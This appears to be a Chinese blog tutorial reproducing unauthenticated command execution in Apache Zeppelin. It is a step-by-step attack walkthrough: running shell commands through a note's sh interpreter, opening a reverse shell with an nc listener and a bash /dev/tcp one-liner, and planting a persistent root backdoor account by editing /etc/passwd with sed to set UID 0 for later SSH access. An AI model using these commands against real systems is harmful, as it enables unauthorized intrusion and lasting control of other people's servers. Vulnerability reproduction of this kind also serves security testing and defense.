zeppelin 未授权任意命令执行漏洞复现

一、命令执行复现

  1. 访问http://ip:8080,打开zeppelin页面,(zeppelin默认监听端口在8080)

image20210714113412518.png

  1. 点击Notebook->create new note创建新笔记

image20210714115155960.png

  1. 在创建笔记的时候选择Default Interpreter为sh,即可执行sh命令

    image20210714115241087.png

  2. 如下图,在命令窗口输入命令,按 shift+Enter 或点击右侧的执行按钮,即可执行sh命令

    image20210714115258525.png

# 二、反弹shell

  1. 不管是用哪种反弹shell的方式,都要在用于接受反弹shell的机器上开启端口监听,注意目标要能主动和接受的机器建立连接(即在同一网段或监听的端口处于公网),这里使用nc监听2333端口,命令为 nc -lvvp 2333,如图所示,开启了监听

    image20210714123724804.png

  2. 利用sh反弹shell 命令为:

    bash -i >& /dev/tcp/ip/port 0>&1
    

    image20210714124643675.png

  3. 重新开启监听,利用python反弹shell(内存不够会失败,折磨我两个小时才找到原因,太菜了太菜了)

    在创建新笔记的时候选择python

    image20210714124818546.png

    这里不需要使用python -c来执行python命令,直接像写python脚本一样就行

    image20210714141018535.png

    成功拿到了反弹的shell,但是python弹回来的并不是一个真的shell,类似于passwd这种需要交互的命令执行不了,而sh弹回来的一般不会有这种问题

# 三、拿下控制权

我们使用sh弹回来的shell进行下一步操作,创建一个特权用户,拿下对目标的持续控制,因为弹回来的是root权限,所以我们可以很方便的操作,但如果是普通用户,我们可以尝试是否拥有sudo权限,如果没有那就得另觅它法了

  1. 创建用户并更改用户密码,命令为
useradd abc
passwd abc # 根据提示重复输入两次密码(高版本系统可能会要求足够复杂的密码)

image20210714144510272.png

  1. 利用 /etc/passwd 文件提升用户的权限

    查看 /etc/passwd,主要注意root和abc两个用户,其中root用户中间的两个数字为 0:0,第一个0(UID)代表root用户,第二个0(GID)代表root组,abc用户的为 1000:1000,同样的,分别代表abc用户和abc组

image20210714145254972.png

所以我们只要将abc中间的两个数字改为 0:0,就能成功把abc提权为root用户

由于没装vi、vim这种编辑器,所以我们需要利用sed命令去修改文件

sed -i '$cabc:x:0:0:root:/root:/bin/bash' /etc/passwd
# -i  参数代表直接对文件操作
# $ 代表文件的最后一行
# c 是 替换,后面为要替换的内容

测试用户权限,su abc切换到abc用户,执行whoami,发现我们依旧是root用户

image20210714151155922.png

之后我们就可以通过ssh随时连接目录机器

  • 22
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值